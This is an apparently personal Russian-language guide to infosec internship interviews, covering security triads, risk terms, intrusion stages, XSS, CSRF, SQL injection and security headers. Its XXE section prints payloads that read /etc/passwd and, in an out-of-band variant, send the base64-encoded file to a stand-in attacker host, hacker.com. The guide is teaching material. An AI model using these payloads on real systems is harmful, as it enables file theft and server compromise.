Советы по собеседованию (Информационная безопасность)

Эта страница — сводка собеседований, через которые я прошёл, охватывающая довольно широкий круг ролей; были и отказы, однако я учился на каждом собеседовании, собирал конструктивную обратную связь и двигался дальше. Надеюсь, эти вопросы/советы помогут вам.

Роли, которые оно в целом охватывает, следующие:

Стажёр по кибербезопасности
Стажёр по тестированию на проникновение / Red Team
Стажёр по безопасности веб-приложений
Стажёр по безопасности продукта
Стажёр по безопасности инфраструктуры

Быстрый совет:

Заранее просмотрите своё резюме и задайте себе вопросы по нему
Если вы не знаете какой-либо вопрос/концепцию, не ходите вокруг да около, дайте понять, что вы можете этому научиться, если будет среда для работы
Вы не можете знать всё, будьте скромны и признайте, если ответили неправильно или вам нужно уточнение
Подготовьте заранее короткую биографию о себе для самопредставления
Чётко понимайте свою конечную цель и почему именно infosec?
И последнее: в конце собеседования обязательно спрашивайте обратную связь, почему, потому что: это помогает выявлять и заполнять пробелы в ваших текущих знаниях в infosec

Я постарался записать все возможные вопросы, которые мне встречались, и для некоторых дал ответы. Остальные вы можете загуглить, чтобы найти конкретные ответы, если хотите копнуть глубже. Кроме того, в конце есть несколько ссылок, взгляните на них. Они были действительно полезны.

Я с радостью добавлю больше вопросов по мере продвижения и проверки моих заметок, однако буду признателен, если вы дадите конструктивную обратную связь об этом, связавшись со мной по адресу [email protected]. Если вам встретилось что-то, что здесь не описано, не стесняйтесь поделиться.

Распространённые вопросы

Триады безопасности:

Что такое CIA?

Конфиденциальность (Confidentiality)
Целостность (Integrity)
Доступность (Availability)

Что такое AAA?

Аутентификация (Authentication)
Авторизация (Authorization)
Учёт (Accounting)

Разница между угрозой, уязвимостью, эксплойтами и риском и как они связаны с активами

Угроза:
Угроза — это то, от чего мы пытаемся защититься
Уязвимость:
Уязвимость — это слабое место или пробел в наших мерах защиты
Эксплойт:
Возможность/программа (может быть программным обеспечением или навыком социальной инженерии), созданная для атаки на актив с использованием уязвимости
Риск:
Риск — это пересечение активов, угроз и уязвимостей
Актив:
Актив — это то, что мы пытаемся защитить

Что такое IAM и почему он используется?
IAM — это Identity Access Management (управление идентификацией и доступом), который используется для разделения ролей и обязанностей внутри организации. Это критически важный элемент безопасности. Он помогает поддерживать безопасность и привилегии на уровне доступа

Безопасность в целом

Этапы сетевого вторжения:

Разведка / сбор информации
Получение необходимого доступа
Поддержание доступа
Сокрытие следов (удаление журналов, бэкдоров и скрытие всех средств управления)

Безопасность веб-приложений

Частый вопрос:

OWASP Top 10
Что такое XSS (межсайтовый скриптинг, Cross-site Scripting)
- Практика XSS: [https://xss-game.appspot.com/]
- Как противостоять XSS: Кратко: используйте соответствующую валидацию входных данных
- Обращайте внимание на заголовок CSP (Content-Security-Policy)
- Различные типы XSS: Отражённый (Reflected), Хранимый (Stored) и DOM-based
- Что такое источники и стоки (sources and sinks) в DOM, которые могут привести к XSS:
  [https://www.netsparker.com/blog/web-security/dom-based-cross-site-scripting-vulnerability/]
Что такое CSRF Это самый любимый вопрос, который чуть ли не каждый интервьюер обожает задавать
Быстрый совет: Будьте кратки, объясняйте всю историю, только если спросят

Cross-Site Request Forgery (CSRF) — это атака, которая заставляет конечного пользователя выполнять нежелательные действия в веб-приложении, в котором он в настоящее время аутентифицирован. CSRF-атаки нацелены на запросы, изменяющие состояние, а не на кражу данных, поскольку у атакующего нет способа увидеть ответ на подделанный запрос. С небольшой помощью социальной инженерии (например, отправка ссылки по электронной почте или в чате) атакующий может обмануть пользователей веб-приложения, заставив их выполнить действия по своему выбору. Если жертва — обычный пользователь, успешная CSRF-атака может заставить его выполнять запросы, изменяющие состояние, например переводить средства, изменять адрес электронной почты и так далее. Если жертва — административная учётная запись, CSRF может скомпрометировать всё веб-приложение.
Как противостоять CSRF:
Используйте анти-CSRF токены
Используйте политику same-origin
Использование заголовка Referrer
Что такое HTML/URL-кодирование
Является ли протокол HTTP протоколом без состояния (stateless)?
HTTP — изначально протокол без состояния, однако сервер использует cookie, чтобы сделать его сохраняющим состояние
Какие существуют типы инъекций: SQL, Command, OS
Как противостоять SQL-инъекциям
Используйте параметризованные запросы и хранимые процедуры

Проверьте заголовки, которые помогают обеспечить безопасность (посмотрите URL-адреса и изучите содержимое — это поможет заложить ваши основы):

CSP (Content-Security Policy) [https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy]
[https://www.html5rocks.com/en/tutorials/security/content-security-policy/]
CORS (Cross-Origin Resource Sharing) [https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS]
Политика same-origin [https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy]

Бывают редкие случаи, когда интервьюер может спросить об этом; я сталкивался со следующим на более поздних этапах нескольких собеседований и решил упомянуть:

Что такое XXE (XML External Entities)?
Внедрение внешних XML-сущностей (также известное как XXE) — это уязвимость веб-безопасности, которая позволяет атакующему вмешиваться в обработку XML-данных приложением. Она часто позволяет атакующему просматривать файлы на файловой системе сервера приложения и взаимодействовать с любыми внутренними или внешними системами, к которым само приложение имеет доступ.
Ознакомьтесь [https://portswigger.net/web-security/xxe]
Напр.:
```
<?xml version="1.0" encoding="UTF-8"?>    
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>     
<stockCheck><productId>&xxe;</productId></stockCheck> 
```
В некоторых ситуациях атакующий может расширить XXE-атаку, чтобы скомпрометировать базовый сервер или другую внутреннюю инфраструктуру, используя уязвимость XXE для выполнения подделки серверных запросов (Server-Side Request Forgery, SSRF).
Out-Of-Band (внеполосная передача) — с помощью XML-сущностей данные с сервера могут быть перехвачены и отправлены на hacker.com (вывод с сервера не требуется)

Для внедрения: document.xml

<!DOCTYPE root [
    <!ENTITY % remote SYSTEM "http://hacker.com/evil.dtd">
    %remote; %intern; %xxe;
]>
<root>&xxe;</root> - you can change xxe entity to general entity

Внешний хост: http://hacker.com/evil.dtd

<!ENTITY % payl SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd">
<!ENTITY % intern "<!ENTITY &#37; xxe SYSTEM 'http://hacker.com/result-is?%payl;'>">
                    --- OR ---
<!ENTITY % intern "<!ENTITY &#37; xxe SYSTEM 'file://%payl;'>"> - consider error-based

Ссылка: [https://phonexicum.github.io/infosec/xxe.html]

Interview_Tips

Популярное

Советы по собеседованию (Информационная безопасность)

Распространённые вопросы

Безопасность в целом

Этапы сетевого вторжения:

Безопасность веб-приложений